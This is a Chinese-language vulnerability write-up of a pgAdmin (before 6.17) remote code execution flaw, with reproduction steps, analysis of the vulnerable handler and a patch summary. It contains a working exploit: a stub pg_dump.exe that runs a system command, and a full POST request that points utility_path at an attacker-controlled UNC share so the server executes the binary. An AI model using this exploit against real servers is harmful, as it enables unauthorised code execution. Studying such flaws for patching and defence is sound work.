pgAdmin 服务器包含一个 HTTP API,用于验证用户选择的外部 PostgreSQL 实用程序(如 pg_dump 和 pg_restore)的路径。该实用程序由服务器执行,以确定它来自哪个PostgreSQL版本。6.17 之前的 pgAdmin 版本无法正确保护此 API,这可能允许未经身份验证的用户使用他们选择的路径调用它,例如他们在 Windows 计算机上控制的服务器的 UNC 路径。这将导致目标路径中正确命名的可执行文件由 pgAdmin 服务器执行。
略
pgadmin < 6.17
复现 直接安装postgresql13,自带了pgadmin4,初始化环境后,使用python 启动pgadmin4,编译如下代码
#include<stdlib>
int main(){
system("whoami > c:\\users\\public\\1.txt");
return 0;
}
编译后命名为pg_dump.exe,将其放到某个目录内,并开启文件共享。 发送如下payload,在utility_path指向共享的文件夹路径,
POST /misc/validate_binary_path HTTP/1.1
Host: [TARGETHOST]
Cookie: [COOKIES_YOU_FETCHED_IN_ADVANCE]
X-pgA-CSRFToken: [CSRF_TOKEN_YOU_FETCHED_IN_ADVANCE]
Connection: close
Referer: https://[TARGETHOST]/browser/
Content-Length: [n]
Content-Type: application/json
{"utility_path":"\\\\[ATTACKER_IP]\\[PREFERED_SHARE_NAME]"}
分析
在 validate_binary_path路由对应的处理函数如下,这个函数接收POST请求,而后获取到body里面的 utility_path,这个函数接收 utility_path并使用 os.path.abspath(os.path.join拼接路径,而 os.path.join可以接受[[UNC路径]],所以我们可以搭建一个SMB服务器并在上面有 pg_dump.exe,传入UNC路径,pgadmin就会获取到这个文件并执行,导致代码执行。
@blueprint.route("/validate_binary_path",
endpoint="validate_binary_path",
methods=["POST"]) # [1]
def validate_binary_path():
"""
This function is used to validate the specified utilities path by
running the utilities with there versions.
"""
data = None
if hasattr(request.data, 'decode'):
data = request.data.decode('utf-8')
if data != '':
data = json.loads(data)
version_str = ''
if 'utility_path' in data and data['utility_path'] is not None: # [2]
# Check if "$DIR" present in binary path
binary_path = replace_binary_path(data['utility_path']) # [3]
for utility in UTILITIES_ARRAY: # [4]
full_path = os.path.abspath(
os.path.join(binary_path,
(utility if os.name != 'nt' else
(utility + '.exe')))) # [5]
try:
# Get the output of the '--version' command
version_string = \
subprocess.getoutput('"{0}" --version'.format(full_path)) # [6]
# Get the version number by splitting the result string
version_string.split(") ", 1)[1].split('.', 1)[0]
...
补丁 补丁中增加了身份验证,并且在拼接路径时使用os.path.exists检查是否存在,不存在则报错。

这个漏洞原理较为简单,python的函数可以接收UNC路径,而开发者并未考虑到这一点,导致可以传入UNC路径达成远程代码执行。值得注意的是这个漏洞是靠codeql审计出来的。
参考链接
https://frycos.github.io/vulns4free/2022/12/02/rce-in-20-minutes.html
Created at 2023-05-08T14:18:21+08:00